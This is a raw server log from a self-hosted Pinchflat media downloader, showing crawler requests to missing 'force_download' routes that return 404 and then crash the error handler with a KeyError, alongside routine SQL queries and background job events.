:plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304941.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/25733/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 58224}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/25733/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304941.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/25733/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 58224}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304940.0>, params: %{}, path_info: ["sources", "2", "media", "25733", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/25733/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgeqdKs3JYjTgwADjxx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinc (truncated) 18:49:28.039 [info] GET /sources/2/media/24933/force_download 18:49:28.043 [debug] QUERY OK source="settings" db=2.7ms idle=324.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:28.045 [debug] QUERY OK source="settings" db=1.5ms idle=310.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:28.045 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:49:28.046 [error] #PID<0.1304946.0> running PinchflatWeb.Endpoint (connection #PID<0.1304938.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/media/24933/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/24933/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/24933/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 58240}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304946.0>, params: %{}, path_info: ["sources", "2", "media", "24933", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/24933/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgeqeUeID5byusADjyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/24933/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 58240}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/24933/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/24933/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 58240}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304946.0>, params: %{}, path_info: ["sources", "2", "media", "24933", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/24933/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgeqeUeID5byusADjyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinc (truncated) 18:49:46.608 [info] {"source":"oban","duration":2622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.953 [info] {"source":"oban","duration":310,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:50:16.610 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:43.446 [info] GET /sources/2/media/27331 18:50:43.446 [info] GET /media/d97dbe75-17ad-4430-9ad5-68f94828fe1a/stream 18:50:43.447 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "27331", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 18:50:43.447 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d97dbe75-17ad-4430-9ad5-68f94828fe1a"} Pipelines: [:maybe_basic_auth] 18:50:43.450 [debug] QUERY OK source="media_items" db=3.1ms idle=1732.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [27331] 18:50:43.454 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=1736.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:50:43.455 [debug] QUERY OK source="tasks" db=2.7ms queue=0.2ms idle=1736.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [27331] 18:50:43.529 [debug] QUERY OK source="media_items" db=81.5ms idle=1731.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d97dbe75-17ad-4430-9ad5-68f94828fe1a"] 18:50:43.529 [debug] QUERY OK source="oban_jobs" db=71.8ms queue=0.5ms idle=894.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2302] 18:50:43.532 [debug] QUERY OK source="settings" db=1.2ms queue=0.2ms idle=80.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:50:43.533 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=78.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:50:43.534 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=78.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:50:43.536 [debug] QUERY OK source="media_profiles" db=1.0ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:50:43.574 [debug] Invalid range request for media item: d97dbe75-17ad-4430-9ad5-68f94828fe1a - serving full file 18:50:43.574 [info] Sent 200 in 127ms 18:50:43.577 [info] Sent 200 in 131ms 18:50:44.429 [info] GET /sources/2/media/28128/force_download 18:50:44.430 [debug] QUERY OK source="settings" db=0.6ms idle=897.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:50:44.431 [debug] QUERY OK source="settings" db=0.5ms idle=897.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:50:44.431 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:50:44.432 [error] #PID<0.1304986.0> running PinchflatWeb.Endpoint (connection #PID<0.1304976.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/media/28128/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/28128/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304976.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/28128/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 41364}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1EtSzI2MWYtZmh4b0VRNlYzUHdpZWpX.d4kvEKb05patWlt43C3L8RuCi4nvrbbC8JFMDyeqkzI", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1EtSzI2MWYtZmh4b0VRNlYzUHdpZWpX.d4kvEKb05patWlt43C3L8RuCi4nvrbbC8JFMDyeqkzI" }, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304986.0>, params: %{}, path_info: ["sources", "2", "media", "28128", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1EtSzI2MWYtZmh4b0VRNlYzUHdpZWpX.d4kvEKb05patWlt43C3L8RuCi4nvrbbC8JFMDyeqkzI" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1EtSzI2MWYtZmh4b0VRNlYzUHdpZWpX.d4kvEKb05patWlt43C3L8RuCi4nvrbbC8JFMDyeqkzI"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/28128/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgeu65Ed48JQV0ADNTS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304976.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/28128/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 41364}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1EtSzI2MWYtZmh4b0VRNlYzUHdpZWpX.d4kvEKb05patWlt43C3L8RuCi4nvrbbC8JFMDyeqkzI", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/28128/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1304976.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/28128/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 41364}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1EtSzI2MWYtZmh4b0VRNlYzUHdpZWpX.d4kvEKb05patWlt43C3L8RuCi4nvrbbC8JFMDyeqkzI", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1EtSzI2MWYtZmh4b0VRNlYzUHdpZWpX.d4kvEKb05patWlt43C3L8RuCi4nvrbbC8JFMDyeqkzI" }, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1304986.0>, params: %{}, path_info: ["sources", "2", "media", "28128", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.s (truncated) 18:50:46.612 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.954 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:51:16.618 [info] {"source":"oban","duration":5248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:24.616 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 18:51:41.076 [info] GET /sources/2/media/25733 18:51:41.076 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "25733", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 18:51:41.076 [info] GET /sources/2/media/26533 18:51:41.076 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "26533", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 18:51:41.078 [debug] QUERY OK source="media_items" db=1.4ms idle=1302.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25733] 18:51:41.078 [debug] QUERY OK source="media_items" db=1.0ms idle=1303.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [26533] 18:51:41.080 [debug] QUERY OK source="tasks" db=1.5ms queue=0.2ms idle=939.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [25733] 18:51:41.081 [debug] QUERY OK source="sources" db=2.3ms queue=0.2ms idle=329.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:51:41.081 [debug] QUERY OK source="tasks" db=2.5ms queue=0.1ms idle=305.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [26533] 18:51:41.082 [debug] QUERY OK source="sources" db=2.4ms queue=0.5ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", 